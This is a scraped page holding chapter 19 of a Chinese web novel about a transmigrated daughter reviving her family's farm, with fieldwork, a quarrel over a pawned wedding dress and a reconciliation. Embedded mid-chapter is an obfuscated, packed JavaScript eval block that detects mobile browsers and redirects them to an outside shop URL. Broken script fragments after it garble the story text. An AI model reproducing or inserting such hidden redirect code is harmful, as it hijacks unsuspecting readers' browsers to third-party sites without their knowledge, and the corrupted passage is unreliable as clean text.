文趣网 > 其他小说 > 乱葬岗女子天团经营手册 > 19. 即便他真的想吃回头草,我就得眼巴……
    19

    安乐回到家后一言不发,陈翠莲有些不解,问安逸到底发生什么,安逸说没事儿,可能是累着了。

    安逸拉着安心一起去林大有家配土壤改良剂。

    去的路上,安心戳了戳安逸:“你二姐今天到底咋啦?很少见她这么没精神。”

    安逸想了想,回道:“可能是想起了自己的婚姻吧。”

    “怎么会?”这下轮到安心惊讶了,“她和离也有三年了,怎么突然想起这个还会失落?”

    安逸望着日落的方向,光线氤氲,忍不住眯了眯眼,鼻尖是淡淡的青草香。

    “那大姐呢?还会想起姐夫吗?”

    “不想了。”安心望着远方,眼神飘忽,“成亲七年,他嫌我无所出,婆母刁难,也从不护我周全。名义上是让我掌家,实则全家吃穿用度的银钱全从我的嫁妆里掏……说的话,根本无人在意。”

    “待我嫁妆无所剩,便以七年无所出休了我,连嫁妆都没还给我!”

    安心长叹一口气,笑着问道:“三妹,这样的婚姻,换做是你,你会留恋吗?”

    安逸一时无话,不知道该怎么安慰大姐,她自然是不会留恋的,因为她来自现代文明社会,女子可以做工,可以挣钱,可以独立生活。

    越是大城市,越是无人在意你的婚姻状况,三四十还未婚的女子,大有人在。

    只要你能挣到钱,你就衣食无忧,消遣的方式也不计其数,根本不需要男人,不需要家族,也不需要孩子。

    现在是大周朝,女子能经商已然是很开化的时代了。

    安心和安乐能保留颜面,和离归家,陈翠莲爱女心切,安稳地包容三个孩子,是一位了不起的母亲。

    不得不说,安家和也是一位先锋丈夫,是一个好父亲,对妻子从一而终,呵护三个女儿。相比较现代很多大佬过世,三四五六个外室都要跳出来争夺家产,安家和已然是身正清明。

    唯一美中不足的是,他们夫妻俩低估了安家整个家族的影响力和野心,没有提前对家产做好安置,也没有料想到,意外来得这么突然。

    安逸暗暗叹了口气,或许这就是她来到这里的原因,重新盘活安家的资产,实现她和全家的财富自由。

    她有时候都在想,那原身呢?她去哪里了?

    她在父母的精心培养下,琴棋书画样样皆通,从小对经商耳濡目染,精算也相当了得。是不是她早已看透了安家家族的腐朽,也渴望新的世界?

    那她是不是也在那个世界帮忙照顾自己的爷爷奶奶?

    “三妹?”安心见安逸半天没反应,拍了拍她的肩膀,一派轻松地道,“别胡思乱想,我没事儿。”

    安逸点点头,问:“大姐,你说你一直在掌家管事,有没有想过,当一家店铺,亦或是多家店铺的掌柜?”

    “嗯?”安心有一瞬间的恍惚,看着安逸,想了想,道,“三妹,我只是一个女子,能顾好家庭,已然是最大的能耐了。”

    安逸点点头,没有再继续这个话题,现在或许还不是时候。

    有了之前的准备,在林大有的帮忙下,腐熟的秸秆、草木灰、河泥等材料均已备齐。

    三人合力,将几种材料搅拌均匀。

    “安逸,这个真的有用吗?”林大有一边搅拌,一边疑惑地道,“望仙坡之前也有人耕种过,但基本上都没有什么收获,白白舍了力气。”

    “当然有用,这爹爹的农耕手记里记载的方子。”安逸抹了抹脸,“再搅拌均匀一点,一会儿铺到地里去。”

    “需要这么着急吗?今晚必须堆肥?”安心有些力竭了,说话都有气无力的。

    “嗯。”

    安逸点点头,想了想,按系统的说法,改良剂需要堆肥七天才能播种,王老师傅的开眼引渠也是说要个七八天,若是堆肥延期,马上又要到月圆之夜了,而且马上也要到雨季了。

    万一真的闹鬼,亦或是大雨,影响了堆肥效果,岂不是白搭。

    更何况,干活,最重要的是一鼓作气,不然再而衰,三而竭,影响士气。

    唯一的遗憾是大周朝没有电话,要是有电话就好了,可以打电话给陈翠莲和安乐,让她们过来帮忙。

    太阳落到地平线时,三人已经搅拌好了改良剂,正准备用斗车将改良剂铺到田地。

    好似心有灵犀,三人正推着斗车将改良剂往田地里送,陈翠莲和安乐见姐妹俩迟迟未归,提着灯笼出来找人。

    安逸直接大声呼喊:“娘!二姐!快来帮忙!”

    “我就说怎么半天不回来。”陈翠莲走到田埂边上站住,把灯笼往地上一放,叉着腰环顾了一圈,看到满地的改良剂和三个人沾满泥土的衣摆,没有多说什么,从安心手里接过耙子就开始动手。

    安乐也放下了灯笼,不声不响地加入了劳动的队伍。

    几个人忙得人仰马翻。

    安逸脸上的汗一道一道地淌下来,和泥土混在一起,变成了几道浅褐色的泥痕,头发被风吹得散了半边,她也顾不上拢,只顾埋头推耙子。

    安心累得直接跪在了田垄上,裙子膝盖的位置已经被泥土染成了深褐色,连手指缝里都嵌满了黑泥。

    安乐见林大有推着双斗车,车轱辘陷进一处松软的土里,十分吃力,连忙跑过去帮忙推送。

    趁着手没停的工夫,安逸问陈翠莲后院菜地的情况。

    陈翠莲头也不抬地说:“菜地早翻好了,我和你大姐前天就开出来了。打算种点应季的青菜,还有一块地种萝卜,边上还留了两垄打算撒点韭菜籽。”

    安逸愣了一下,没想到她娘和大姐已经提前把菜地也开垦了出来。

    陈翠莲看到安逸脸上的表情,拍掉手上的泥,语气颇为得意:“本着一不做二不休的精神,今天你和安乐去镇上的时候,我和你大姐在家闲着也是闲着,干脆把菜地开了,反正面积也不大。”

    安逸忽然觉得有点感动。

    干完了大田里的活,母女四人推着林大有的双斗车往家里走。

    车上装着最后剩下的两桶改良剂,是留给后院菜地用的,里面额外掺了猪粪水,肥力更足,但也更臭。

    可别说,加了猪粪的改良剂,味道确实霸道。

    夜风吹过来,那股味儿,在空气中飘散,四个人连嘴都不想张,都害怕多吸了一口。

    回到家,安逸把装着改良剂的木桶从车上拎下来。

    她一边催促安心和安乐先去灶房烧水洗漱,一边叫陈翠莲打着灯笼指挥地点。

    陈翠莲拎着灯笼走在前面,安逸拎着两只木桶跟在后面。

    母女俩穿过院子侧面的小夹道,往后院的菜地走去。夹道很窄,只容一人通过,两边是碎石垒的矮墙,墙上爬满了枯死的藤蔓,在灯笼的光里投下细密交错的影子。

    安逸麻利地干完活,回去的路上,她主动接过灯笼,在前面领路。

    走着走着,居然有两只萤火虫飞了过来。

    安逸想起小时候,在爷爷奶奶家的时候,夏夜里,萤火虫漫天飞舞,形成一条小光带,爷爷总说那是银河。

    安逸一时搞怪心起,拎着灯笼,晃来晃去,灯笼在空中留下一条条灯影。

    “娘!快看!我给你画的银河!”安逸笑着道。

    “知道了,知道了,好好看路,别摔了!”陈翠莲没好气地道。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577180|204804||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    两人一路谈笑着往家里走,安心和安乐已经烧好了水,热好了饭菜。

    一家人脏兮兮地坐在桌边,享用延时的晚餐。

    安逸宣布了一个好消息:“王老师傅说了,明日若是能集齐工匠,明日便会来开眼,工期约莫要十天半个月,咱们离洗澡自由的日子不远了。”

    听到这话,其他三人都喜笑颜开。

    安乐想了想,也提了一嘴,道:“三妹今日将她的嫁衣给当了。”

    陈翠莲和安心一如安乐当时,立刻变了脸色:“你怎么能这样做?”

    安逸一脸无所谓地道:“我可是安家的总指挥,你们都说好了要听我安排,婚约都取消了,当件嫁衣怎么了?!”

    陈翠莲放下碗,气得站了起来,骂骂咧咧地道:“死丫头,我记得那什么责任书,写了少数服从多数的,我们三个都不同意,你去给我赎回来!”

    “对,你把那什么责任书拿出来!”说完,她又指着安逸道,那架势看上去就要动手了,“今天就让你看看安家听谁安排!”

    安心看着安逸,忽然明白了安逸当时为何与她在田间提及夫家。

    陈翠莲腾地一下,脾气上头了,来火了,作势就要去揍安逸,被安乐及时拦住。

    安逸一脸没所谓,回怼道:“那欧阳诚不过是与我幼时在书塾一同上课,定下的娃娃亲。当时书塾男女有别,我们更是连面都没见过几次,何来感情基础?

    “更何况当初结亲的缘由不过是欧阳家贪图我们安家的财产,我们安家想要欧阳家清流的名声,大家一拍即合,各取所需罢了!

    “就连欧阳诚进京赶考的路费,都是我们安家掏的。如今欧阳诚一去不回,欧阳家主动退了亲,徒留一件嫁衣,不如当了,换些银钱来得实在。

    “难不成,我还指望欧阳诚吃回头草不成!

    “即便他真的想吃回头草,我就得眼巴巴地等着他不成?!”

    “你!你!你!”陈翠莲气得连喊三个你字,也没说出个所以然来,气全撒在桌子上。

    她狠狠地拍了一下桌子,震得筷子都掉在了地上。

    安乐忙弯腰去捡。

    安逸继续火力全开,持续输出:“娘,你从小教育我们,即使是女儿,也要有骨气,要有自尊!你也说不嫁人也挺好的,怎么现在为了一件无足轻重的嫁衣大动肝火,知行不合一,是何道理?”

    安逸将心中所想,原原本本讲了出来。

    陈翠莲今日又累又气,现下情绪激动,已没了力气,瘫坐在椅子上,狠狠地瞪着安逸:“你读书多,我说不过你!反正你总有你的道理!”

    “不是我读书多,也不是我总有我的道理,而是我说的本来就是对的。”安逸梗着脖子道。

    “少说两句!”安心拉了拉安逸的袖子。

    安乐也连连哄着陈翠莲。

    一时间,屋子里安静下来,只弥漫着一股臭烘烘的味道。

    几个人嗅了嗅鼻子,均是一脸忍无可忍的表情。

    “臭死了!”安乐噘着嘴道,“赶紧去洗澡,今天不洗干净不准躺上床!”

    几人轮流去冲了个澡,情绪也逐渐冷静下来。

    安逸洗完澡,回到正屋,安心和安乐正在整理箱柜,陈翠莲正坐在床铺上借着一点烛光给安乐补衣服。

    安逸一把扑进陈翠莲怀里:“娘!我错了!遇事应该跟您和姐姐们商量的。”

    “哎!哎!死丫头,看看针啊!仔细戳到你!”陈翠莲翻了个白眼,嘴角却是止不住地上扬。

    安心和安乐也扑了过来,搂住陈翠莲的肩膀和腰。

    四个人就像小时候那般,抱在了一起。